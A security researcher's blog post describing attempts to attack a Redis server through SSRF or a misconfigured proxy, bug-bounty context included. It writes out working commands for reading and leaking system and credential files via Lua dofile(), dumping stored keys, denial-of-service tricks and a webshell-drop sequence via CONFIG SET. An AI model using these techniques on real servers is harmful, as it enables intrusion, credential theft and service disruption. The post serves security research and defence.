jeudi 11 septembre 2014, 10:35:56 (UTC+0200)

Trying to hack Redis via HTTP requests

  • Context

Imagine than you can access a Redis server via HTTP requests. It could be because of a SSRF vulnerability or a misconfigured proxy. In both situations, all you need is to fully control at least one line of the request. Which is pretty common in these scenarios ;-) Of course, the CLI client 'redis-cli' does not support HTTP proxying and we will need to forge our commands ourself, encapsulated in valid HTTP requests and sent via the proxy. Everything was tested under version 2.6.0. It's old, but that's what the target was using...

  • Redis 101

Redis is NoSQL database, which stores everything in RAM as key/value pairs. By default, a text-oriented interface is reachable on port TCP/6379 without authentication. All you need to know right now is that the interface is very forgiving and will try to parse every provided input (until a timeout or the 'QUIT' command). It may only quietly complain via messages like "-ERR unknown command".

  • Target identification

When exploiting a SSRF vulnerability or a misconfigured proxy, the first task is usually to scan for known services. As an attacker, I look for services bound to loopback only, using source-based authentication or just plain insecure "because they are not reachable from the outside". And I was quite happy to see these strings in my logs:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

As you can see, the HTTP verb 'GET' is also a valid Redis command, but the number of arguments do not match. And given no HTTP headers match a existing Redis command, there's a lot of "unknown command" error messages.

  • Basic interaction

In my context, the requests were nearly fully controlled by myself and then emitted via a Squid proxy. That means that 1) the HTTP requests must be valid, in order to be processed by the proxy 2) the final requests reaching the Redis database may be somewhat normalized by the proxy. The easy way was to use the POST body, but injecting into HTTP headers was also a valid option. Now, just send a few basic commands (in blue):



CONFIG GET pidfile

SET my_key my_value

GET my_key


  • We need spaces!

As you may have already noted, the server responds with the expected data, plus some strings like "*2" and "$7". This the binary-safe version of the Redis protocol, and it is needed if you want to use a parameter including spaces. For example, the command 'SET my key "foo bar"' will never work, with or without single/double quotes. Luckily, the binary-safe version is quite straightforward:
- everything is separated with new lines (here CRLF)
- a command starts with '*' and the number of arguments ("*1" + CRLF)
- then we have the arguments, one by one:
   - string: the '$' character + the string size ("$4" + CRLF) + the string value ("TIME" + CRLF)
   - integer: the ':' character + the integer in ASCII (":42" + CRLF)
- and that's all!

Let's see an example, comparing the CLI client and the venerable 'netcat':

$ redis-cli -h -p 6379 set with_space 'I am boring'
$ echo '*3\r\n$3\r\nSET\r\n$10\r\nwith_space\r\n$11\r\nI am boring\r\n' | nc -n -q 1 6379 

  • Reconnaissance

Now that we can easily discuss with the server, a recon phase is needed. A few Redis commands are helpful, like "INFO" and "CONFIG GET (dir|dbfilename|logfile|pidfile)". Here's the ouput of "INFO" on my test machine:

# Server
os:Linux 3.2.0-61-generic-pae i686

# Clients

# Memory

The next step is, of course, the file-system. Redis can execute Lua scripts (in a sandbox, more on that later) via the "EVAL" command. The sandbox allows the dofile() command (WHY???). It can be used to enumerate files and directories. No specific privilege is needed by Redis, so requesting /etc/shadow should give a "permission denied" error message:

EVAL dofile('/etc/passwd') 0
-ERR Error running script (call to f_afdc51b5f9e34eced5fae459fc1d856af181aaf1): /etc/passwd:1: function arguments expected near ':' 

EVAL dofile('/etc/shadow') 0
-ERR Error running script (call to f_9882e931901da86df9ae164705931dde018552cb): cannot open /etc/shadow: Permission denied

EVAL dofile('/var/www/') 0
-ERR Error running script (call to f_8313d384df3ee98ed965706f61fc28dcffe81f23): cannot read /var/www/: Is a directory

EVAL dofile('/var/www/tmp_upload/') 0
-ERR Error running script (call to f_7acae0314580c07e65af001d53ccab85b9ad73b1): cannot open /var/www/tmp_upload/: No such file or directory

EVAL dofile('/home/ubuntu/.bashrc') 0
-ERR Error running script (call to f_274aea5728cae2627f7aac34e466835e7ec570d2): /home/ubuntu/.bashrc:2: unexpected symbol near '#'

If the Lua script is syntaxically invalid or attempts to set global variables, the error messages will leak some content of the target file:

EVAL dofile('/etc/issue') 0
-ERR Error running script (call to f_8a4872e08ffe0c2c5eda1751de819afe587ef07a): /etc/issue:1: malformed number near '12.04.4'

EVAL dofile('/etc/lsb-release') 0
-ERR Error running script (call to f_d486d29ccf27cca592a28676eba9fa49c0a02f08): /etc/lsb-release:1: Script attempted to access unexisting global variable 'Ubuntu'

EVAL dofile('/etc/hosts') 0
-ERR Error running script (call to f_1c25ec3da3cade16a36d3873a44663df284f4f57): /etc/hosts:1: malformed number near ''

Another scenario, probably not very common, is calling dofile() on valid Lua files and returning the variables defined there. Here's a hypothetic file /var/data/app/db.conf:

db = {
   login  = 'john.doe',
   passwd = 'Uber31337',

And a small Lua script dumping the password:

EVAL dofile('/var/data/app/db.conf');return(db.passwd); 0 
+OK Uber31337

It works on some standard Unix files too:

EVAL dofile('/etc/environment');return(PATH); 0       
+OK /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

EVAL dofile('/home/ubuntu/.selected_editor');return(SELECTED_EDITOR); 0
+OK /usr/bin/nano

  • CPU theft

Redis provides redis.sha1hex(), which can be called from Lua scripts. So you can offload your SHA-1 cracking to open Redis servers. The code by @adam_baldwin is on GitHub and the slides on Slideshare.

  • DoS

There's a lot of ways to DoS an open Redis instance, from deleting the data to calling the SHUTDOWN command. However, here's two funny ones:
- calling dofile() without any parameter will read a Lua script from STDIN, which is the Redis console. So the server is still running but will not process new connections until "^D" is hit in the console (or a restart)
- sha1hex() can be overwritten (not only for you, but for every client). Using a static value is one of the options

The Lua script:

function redis.sha1hex (x)

On the Redis console:

# First run

# Next runs
  • Data theft

If the Redis server happens to store interesting data (like session cookies or business data), you can enumerate stored pairs using KEYS and then read their values with GET.

  • Crypto

Lua scripts use fully predictable "random" numbers! Loot at evalGenericCommand() in scripting.c for details:

    /* We want the same PRNG sequence at every call so that our PRNG is
     * not affected by external state. */

Every Lua script calling math.random() will get the same stream of numbers:

  • RCE

In order to get remote code execution on an open Redis server, three scenarios were considered. The first one (proven but highly complex) is related to byte-code modification and abuse of the internal VM machine. Not my cup of tea, I'm not a binary guy. The second one is escaping the globals protection and trying to access interesting functions (like during a CTF-like Python escape). Escaping the globals protection is trivial (and documented on StackOverflow!). However, no interesting module is loaded at all, or my Lua skills suck (which is probable). By the way, there's plenty of interesting stuff here.

Let's consider the third scenario, easy and realistic: dumping a semi-controlled file to disk, for example under the Web root and gain RCE through a webshell. Or overwriting a shell script. The only difference is the target filename and the payload, but the methodology is identical. It should be noted that the location of the log file can not be modified after startup. So the only solution is the database file itself. If you are paying attention enough, you should find suprising that a RAM-only database writes to disk. In fact, the database is copied to disk from times to times, for recovery purposes. The backup occurs depending on the configured thresholds, or when the BGSAVE command is called.

The actions to take in order to drop a semi-controlled file are the followings:

- modify the location of the dump file
      CONFIG SET dir /var/www/uploads/
      CONFIG SET dbfilename sh.php

- insert your payload in the database
      SET payload "could be php or shell or whatever"

- dump the database to disk

- restore everything
      DEL payload
      CONFIG SET dir /var/redis/
      CONFIG SET dbfilename dump.rdb

And then, it's a big FAIL. Redis sets the mode of the dump file to "0600" (aka "-rw-------"). So Apache will not able to read it :-(

  • Outro

Even if I wasn't able to execute my own code on this server, researching Redis was fun. And I learned a few tricks, which may be useful next week or later, you never know. Finally, thanks to people who published on Redis security: Francis Alexander, Peter Cawley and Adam Baldwin. And to the Facebook security team, which awarded 20K$ for a misconfigured proxy (the Redis instance was running on "").

Posted by Nicolas Grégoire | Permanent link
Copyright 2010-2021 Agarri